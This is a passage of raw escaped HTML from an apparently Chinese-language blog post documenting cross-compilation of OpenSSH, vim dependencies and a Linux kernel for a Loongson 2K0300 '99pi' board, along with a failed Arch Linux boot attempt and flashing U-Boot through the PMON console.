class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e item \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e $(\u003cspan class=\"built_in\"\u003els\u003c/span\u003e ./);\u003cspan class=\"keyword\"\u003edo\u003c/span\u003e tar -zxvf \u003cspan class=\"variable\"\u003e$item\u003c/span\u003e; \u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e创建目录.\u0026#x2F;openssh\u0026#x2F;install\u003cbr\u003e创建脚本env.sh:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e PATH=\u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"variable\"\u003e$PATH\u003c/span\u003e:/path/to/cross-tools/bin\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面指向的是交叉编译工具链的路径,提前准备。\u003c/p\u003e\u003cp\u003e准备环境:\u003ccode\u003esource ~/env.sh\u003c/code\u003e\u003c/p\u003e\u003cp\u003e编译zlib:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e zlib-1.3.1/\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eprefix=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/2k300/openssh/zlib CC=loongarch64-unknown-linux-gnu-gcc AR=loongarch64-unknown-linux-gnu-ar ./configure\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake install\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e编译\u003ccode\u003eopenssl\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e openssl-3.3.2/\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e./Configure linux64-loongarch64 --cross-compile-prefix=loongarch64-unknown-linux-gnu- --prefix=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/2k300/openssh/install/openssl shared no-asm\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake install\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e编译openssh:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e./configure --host=loongarch64-unknown-linux-gnu --prefix=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/2k300/openssh/install/openssh --with-ssl-dir=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/2k300/openssh/install/openssl --with-zlib=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e/2k300/openssh/install/zlib LDFLAGS=\u003cspan class=\"string\"\u003e\u0026quot;-static -pthread\u0026quot;\u003c/span\u003e --sysconfdir=/etc/ssh --disable-strip\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake install-files\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e注意 此处使用\u003ccode\u003e~\u003c/code\u003e概率会导致编译异常,使用\u003ccode\u003e$HOME\u003c/code\u003e代替\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这里因为没找到在哪指定strip工具的位置而禁用了strip,所以产物会稍微有丶大。\u003c/p\u003e\u003cp\u003e编译结束之后,产物可以在\u003ccode\u003e$HOME/2k300/openssh/install/openssh\u003c/code\u003e中找到。直接把文件传输到99pi对应的目录里即可。\u003c/p\u003e\u003cp\u003e传输方法可以使用tty串口传输,不过速度太慢:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# server-side\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003euuencode [filename-in-99pi] \u0026lt; [file] \u0026gt; /dev/ttyUSB0\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 99pi-side\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003euudecode \u0026lt; /dev/ttyS0 \u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也可以使用tftp传输:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# server-side:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esudo uftpd -n -o ftp=0,tftp=69 ./\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 99pi-side\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etftp -g -l ssh-xxx -r openssh/bin/ssh-xxx [114.5.1.4]\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e剩下的后面说。\u003c/p\u003e\u003ch3 id=\"Vim\"\u003e\u003ca href=\"#Vim\" class=\"headerlink\" title=\"Vim\"\u003e\u003c/a\u003eVim\u003c/h3\u003e\u003cul\u003e\u003cli\u003encurses: \u003ca href=\"https://ftp.gnu.org/gnu/ncurses/ncurses-6.5.tar.gz\"\u003ehttps://ftp.gnu.org/gnu/ncurses/ncurses-6.5.tar.gz\u003c/a\u003e\u003c/li\u003e\u003cli\u003evim: \u003ca href=\"https://github.com/vim/vim\"\u003ehttps://github.com/vim/vim\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003etar -zxvf ncurses-6.5.tar.gz \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e ncurses-6.5.tar.gz\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ncurses-6.5/\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e./configure --prefix=\u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/2k300/vim/nc_install --host=loongarch64-unknown-linux-gnu --without-cxx-binding --without-ada --without-progs --without-tests --with-shared\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake -j \u0026amp;\u0026amp; make install\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexport\u003c/span\u003e TARGET=loongarch64-unknown-linux-gnu\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Linux-Kernel\"\u003e\u003ca href=\"#Linux-Kernel\" class=\"headerlink\" title=\"Linux Kernel\"\u003e\u003c/a\u003eLinux Kernel\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e参考文档:龙芯2K300.软件uboot用户手册0.2\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e把linux6.9源码里的\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003earch/loongarch/boot/dts\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003einclude/dts-bindings\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e复制到新的内核源码的对应位置,然后\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003emake ARCH=loongarch CROSS_COMPILE=loongarch64-unknown-linux-gnu- ls2k0300_99_pai_wifi_defconfig\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emake ARCH=loongarch CROSS_COMPILE=loongarch64-unknown-linux-gnu- -j8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e产物:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003earch/loongarch/boot/vmlinux.bin\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSystem.map\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e现在制作\u003ccode\u003evmlinux.bin.lzma\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003elzma -k ./linux-6.11/arch/loongarch/boot/vmlinux.bin\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emv\u003c/span\u003e ./linux-6.11/arch/loongarch/boot/vmlinux.bin.lzma ./\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e创建文件:multi.its,并更新其中的\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eimages/kernel-1/entry\u003c/code\u003e:为\u003ccode\u003e./linux-6.11/System.map\u003c/code\u003e中的\u003ccode\u003ekernel_entry\u003c/code\u003e的地址,格式参考下方\u003c/li\u003e\u003cli\u003e\u003ccode\u003eimages/kernel-1/data\u003c/code\u003e:为lzma文件相对于当前文件的路径\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e/*\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e* U-Boot uImage \u003cspan class=\"built_in\"\u003esource\u003c/span\u003e file with multiple kernels and ramdisks blobs\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e*/\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e/dts-v1/;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e/\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e description = \u003cspan class=\"string\"\u003e\u0026quot;Various kernels and ramdisks blobs\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e#address-cells = \u0026lt;2\u0026gt;;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e images \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e kernel-1 \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e description = \u003cspan class=\"string\"\u003e\u0026quot;vmlinux\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e data = /incbin/(\u003cspan class=\"string\"\u003e\u0026quot;vmlinux.bin.lzma\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003etype\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026quot;kernel\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003earch\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026quot;loongarch\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e os = \u003cspan class=\"string\"\u003e\u0026quot;linux\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e compression = \u003cspan class=\"string\"\u003e\u0026quot;lzma\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e load = \u0026lt;0x90000000 0x00200000\u0026gt;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e entry = \u0026lt;0x90000000 0x01348000\u0026gt;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e configurations \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e default = \u003cspan class=\"string\"\u003e\u0026quot;config-1\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e config-1 \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e description = \u003cspan class=\"string\"\u003e\u0026quot;vanilla-2.6.23 configuration\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e kernel = \u003cspan class=\"string\"\u003e\u0026quot;kernel-1\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e loadables = \u003cspan class=\"string\"\u003e\u0026quot;kernel-1\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e生成\u003ccode\u003euImage\u003c/code\u003e镜像:\u003ccode\u003emkimage -f multi.its uImage\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"Arch-Linux\"\u003e\u003ca href=\"#Arch-Linux\" class=\"headerlink\" title=\"Arch Linux\"\u003e\u003c/a\u003eArch Linux\u003c/h3\u003e\u003cp\u003e主要原因是aur比较香,而且软件分发也相对简单,反正pacman作为包管理够用。\u003c/p\u003e\u003cp\u003e北大的LCPU整了个LA64的AUR镜像源:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://loongarchlinux.lcpu.dev/\"\u003eArch Linux for Loongarch64\u003c/a\u003e\u003c/p\u003e\u003cp\u003earch安装的核心就是准备一个能跑起来pacstrap的环境,然后就能用pacstrap去准备arch的rootfs了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e意外发现原来有LA64的arch安装iso,这下不用自己准备rootfs了,好耶\u003cbr\u003e居然忘了3A6000已经能用Arch了\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e哦,忘了,3A6000的abi跟2K0300不太一样,果然最后还是翻车了\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e解压发现其中的\u003ccode\u003eairootfs.sfs\u003c/code\u003e,arch下安装\u003ccode\u003esquashfs-tools\u003c/code\u003e后,使用\u003ccode\u003esudo unsquashfs airootfs.sfs\u003c/code\u003e解压rootfs。完成后编译一个\u003ccode\u003euImage\u003c/code\u003e,丢到rootfs的\u003ccode\u003e/boot\u003c/code\u003e下。\u003c/p\u003e\u003cp\u003e准备一个ext4的U盘,将rootfs复制到其中。U盘插入99pi,启动并进入uboot cli,输入:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eext4load usb 0 \u003cspan class=\"variable\"\u003e$\u0026#123;loadaddr\u0026#125;\u003c/span\u003e boot/uImage\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ebootm \u003cspan class=\"variable\"\u003e$\u0026#123;loadaddr\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e手动启动系统。\u003c/p\u003e\u003cp\u003e不过启动失败了,查报错感觉问题可能出在指令集不兼容上了,似乎是LA64的SIMD指令在2k300上用不了。\u003c/p\u003e\u003cp\u003e下一步应该就是手动编译一个arch rootfs再安装了。\u003c/p\u003e\u003ch2 id=\"刷uboot\"\u003e\u003ca href=\"#刷uboot\" class=\"headerlink\" title=\"刷uboot\"\u003e\u003c/a\u003e刷uboot\u003c/h2\u003e\u003cp\u003e可以借助tftp刷入,也可以usb刷入。我用了后一种方法:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 主系统\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emkfs.ext2 /dev/sdb \u003cspan class=\"comment\"\u003e# 格式化U盘\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003emount /dev/sdb ./tmp\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e u-boot-spl-gz.bin ./tmp/\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eumount ./tmp\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 99pi\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 插入U盘\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 启动时多次按c进入PMON控制台\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003efload /dev/fs/ext2@usb0/u-boot-spl-gz.bin\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是输出:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePMON\u0026gt; fload /dev/fs/ext2@usb0/u-boot-spl-gz.bin                                                            / \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eLoading file: /dev/fs/ext2@usb0/u-boot-spl-gz.bin dl_offset 900000000f800000 addr 900000000f800000 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(bin)                                                                                                      | \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eLoaded 580432 bytes \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eProgramming flash 900000000f800000:8db50 into 800000001c000000 \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eErase end!                                                                                                 / \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eProgramming end! \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eVerifying FLASH. No Errors found. \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ePMON\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e此时就完成了,可以重启了。\u003c/p\u003e\u003ch3 id=\"配置uboot参数\"\u003e\u003ca href=\"#配置uboot参数\" class=\"headerlink\" title=\"配置uboot参数\"\u003e\u003c/a\u003e配置uboot参数\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan 